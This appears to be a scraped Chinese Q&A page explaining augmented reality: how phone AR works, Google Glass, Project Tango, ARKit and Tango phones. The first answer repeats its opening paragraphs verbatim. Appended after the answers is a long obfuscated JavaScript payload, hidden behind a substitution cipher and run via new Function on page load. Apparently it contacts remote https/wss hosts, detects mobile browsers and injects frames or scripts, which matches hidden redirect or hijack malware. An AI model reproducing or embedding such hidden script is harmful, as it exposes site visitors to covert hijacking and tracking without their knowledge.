AR技术是什么?

2025-03-04 21:58:47
推荐回答(2个)
回答(1):

智能手机怎样实现AR技术?哪些手机有AR功能? 单说AR技术也许有些人会觉得陌生,但AR技术已经融入了我们的生活中。相信经常使用百度地图的用户已经发现,AR实景导航已经加入地图中,开启后透过后置摄像头可以在实时场景中指出路线,对于广大路痴来说,可以说是拯救级别的必备工具。当然比较知名的还有之前风靡一时的《Pokemon Go》游戏以及春节期间AR找红包活动。可以说,AR技术已经在休闲娱乐、实用工具方面都有了可观的发展。
如果这些例子还不足以引起你的兴趣的话,那么科幻电影里那些可以实时显示外界信息的眼镜肯定可以引来你的目光,这其中的大部分功能都是对AR技术的应用。AR全称Augmented Reality,即增强现实。简单的说,它通过电脑技术,将虚拟的信息应用到真实世界,真实的环境和虚拟的物体实时地叠加到了同一个画面或空间同时存在。现在还没有像电影中一样的AR眼镜,但已有其雏形出现过,那就是谷歌的Google Project Glass。
Google Project Glass镜片上配备了一个头戴式微型显示屏,它可以将数据投射到用户右眼上方的小屏幕上,显示效果如同2.4米外的25英寸高清屏幕。并且可以根据环境声音在屏幕上显示距离和方向,在两块目镜上分别显示地图和导航信息,当用户盯着一栋建筑、一座地标时,关于这个建筑、地标的信息会即刻出现在镜片上。谷歌眼镜还会帮助佩戴者找到周围的朋友。虽然由于种种原因第一代的谷歌眼镜并没有获得广泛的推广,但却让我们看到了AR广阔的前景。
AR技术听起来十分简单,但其技术含量却远远超过我们表面上看到的这些。一个典型的AR系统结构由虚拟场景生成单元、透射式头盔显示器、头部跟踪设备和交互设备构成。其中虚拟场景生成单元负责虚拟场景的建模、管理、绘制和其它外设的管理;透射式头盔显示器负责显示虚拟和现实融合后的信号;头部跟踪设备跟踪用户视线变化;交互设备用于实现感官信号及环境控制操作信号的输入输出。
透射式头盔显示器采集真实场景的视频或者图像,传入后台的处理单元对其进行分析和重构,并结合头部跟踪设备的数据来分析虚拟场景和真实场景的相对位置,实现坐标系的对齐并进行虚拟场景的融合计算;交互设备采集外部控制信号,实现对虚实结合场景的交互操作。系统融合后的信息会实时地显示在头盔显示器中,展现在人的视野中。
手机AR则是将整个AR系统整合到一部手机上,摄像头负责采集图像,处理单元对其进行分析和重构,实现坐标系的对齐并进行虚拟场景的融合计算,交互也是通过人和手机的交互实现,处理后的图像就会显示在手机屏幕上,从而实现现实增强效果。
在前不久的WWDC 2017大会上,苹果宣布在iOS 11中带来了全新的增强现实组件ARKit,此举被称为苹果迈进AR领域最坚实的一步。而在这不久,便有很多与ARKit有关的消息传出。据悉,目前通过iPhone的AR功能可以实现测量距离,而且数据相当精确,通过AR和现实中尺子的对比说明了这一点,可以看到AR测量的跟尺子测量的完全一样。YouTube用户Matthew Hallberg用更是苹果ARKit做了一款AR版《我的世界》的demo,在AR版《我的世界》中,玩家可以用AR技术把自己的世界叠加在真实世界上。
在苹果ARKit之前,谷歌的Project Tango已经有了比较显著的发展。Project Tango是在谷歌在Google Project Glass失败后针对智能手机的增强现实项目,通过一系列摄像头、传感器和芯片,能实时为用户周围的环境进行3D建模,通过手机屏幕,能够将虚拟物品呈现在真实环境中。其中典型机型就是前不久刚刚在台湾上市的华硕Zenfone AR。
ZenFone AR是继联想的Phab 2 Pro之后的第二款Tango手机,也是第一款同时支持VR和AR的智能手机。华硕为了在Zenfone AR实现Tango技术,为其专门设计了三镜头系统,包含了能够追踪用户的动态追踪镜头、测量自身周围环境的深度感应镜头,最后再加上扑捉现实环境的2300万像素主摄像头。能够精准的记录、绘制三维空间信息,让虚拟和现实完美结合。
当然,苹果ARKit和谷歌Project Tango也是有区别存在的。
谷歌的Tango手机依靠堆硬件来满足AR技术需要的各个条件:运动追踪、深度感知、区域学习。Tango手机需要一颗鱼眼镜头和一颗红外传感器,等同于刚才提到Zenfone AR追踪用户的动态追踪镜头、测量自身周围环境的深度感应镜头。动态捕捉和深度感知后还需要进一步的对数据进行整合,Tango手机一旦检测到这个场景中有和之前某个场景中的深度和特征点匹配的点,就会将两个场景结合,最后经过一段时间的学习,所有新场景都会被Tango手机记住并且构成一整套空间,这就是区域学习。
苹果ARKit则是通过单摄像头实现的。ARKit使用一种称为“视觉惯性测距”(visual-inertial odometry)的技术,将来自iOS设备如iPhone/iPad的运动传感器的数据与设备相机可见的场景相结合,ARKit得以识别场景图像中的特征,并在用户移动装置时,追踪相机里这些特征在位置的变化。这种技术不在空间中创建3D模型,而是将对象“钉”在某一个点上,在现实中改变其比例与视角。
所以两种方案的优劣也显而易见,谷歌Project Tango能够获取更加全面的环境信息,但缺点在于需要较为复杂的硬件支持;苹果ARKit单摄像头附加运动传感器就可以实现,但无法实现深度感知,所以无法用于复杂的场景和功能。
而我们现在接触到的大多数AR功能,都跟苹果ARKit的原理类似,是没有进行深度感知的。就拿笔者在文初提到的百度地图AR导航来说,在室内打开后仍有方向指示(此时位置与定位位置不匹配),由此笔者推测其并不是根据实际场景进行计算导航,而是地图数据导航与实时场景的叠加。由于其他AR应用笔者并未接触过,所以在这里不多加评论,但想来现在大部分人接触到的AR都是通过简单的图像叠加实现的。
由于谷歌Tango技术较早的面世,目前已有不少基于Tango的应用和游戏被开发出来。比如可以用AR试衣,GAP公司在拉斯维加斯的CES大会上发布了一款应用程序DressingRoom,可让用户在增强现实体验中试穿衣服,该应用会把虚拟影像叠加在真实世界上,用户可以移动虚拟化身,通过不同的角度查看穿衣效果。
另外比较实用的就是购物,尤其体现在家居家装类。用户可挑选该场馆中的虚拟家居产品,并在手机上看到真实空间中1:1的摆放效果,并且可以移动和旋转商品,商品会自动贴合场景,当有多个商品存在时,彼此会保持相对位置,实际体验的效果十分真实。
当然对于手机AR技术的应用不仅仅于此,未来AR的发展显然会实现更强的实用性和娱乐性,而且随着AR技术的发展与完善,在使用体验上也会有较为长足的进步。
智能手机怎样实现AR技术?哪些手机有AR功能? 单说AR技术也许有些人会觉得陌生,但AR技术已经融入了我们的生活中。相信经常使用百度地图的用户已经发现,AR实景导航已经加入地图中,开启后透过后置摄像头可以在实时场景中指出路线,对于广大路痴来说,可以说是拯救级别的必备工具。当然比较知名的还有之前风靡一时的《Pokemon Go》游戏以及春节期间AR找红包活动。可以说,AR技术已经在休闲娱乐、实用工具方面都有了可观的发展。
如果这些例子还不足以引起你的兴趣的话,那么科幻电影里那些可以实时显示外界信息的眼镜肯定可以引来你的目光,这其中的大部分功能都是对AR技术的应用。AR全称Augmented Reality,即增强现实。简单的说,它通过电脑技术,将虚拟的信息应用到真实世界,真实的环境和虚拟的物体实时地叠加到了同一个画面或空间同时存在。现在还没有像电影中一样的AR眼镜,但已有其雏形出现过,那就是谷歌的Google Project Glass。
Google Project Glass镜片上配备了一个头戴式微型显示屏,它可以将数据投射到用户右眼上方的小屏幕上,显示效果如同2.4米外的25英寸高清屏幕。并且可以根据环境声音在屏幕上显示距离和方向,在两块目镜上分别显示地图和导航信息,当用户盯着一栋建筑、一座地标时,关于这个建筑、地标的信息会即刻出现在镜片上。谷歌眼镜还会帮助佩戴者找到周围的朋友。虽然由于种种原因第一代的谷歌眼镜并没有获得广泛的推广,但却让我们看到了AR广阔的前景。

回答(2):

AR是Augmented Reality的缩写,也就是“增强现实”。
所谓增强现实技术,是一种将虚拟信息与真实世界融合的技术。这种技术的目的是将多媒体、三维建模、实时跟踪及注册、智能交互、传感等多种技术手段糅合在一起,将计算机生成的文字、图像、三维模型、音乐、视频等虚拟信息模拟仿真后,应用到真实世界中,使得两种信息互为补充,从而实现对真实世界的“增强”。
例如,用手机相机拍西瓜时,屏幕上跳出一个圆滚滚的猹,对西瓜流口水表示想吃,这就是AR的一种初级玩法……

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();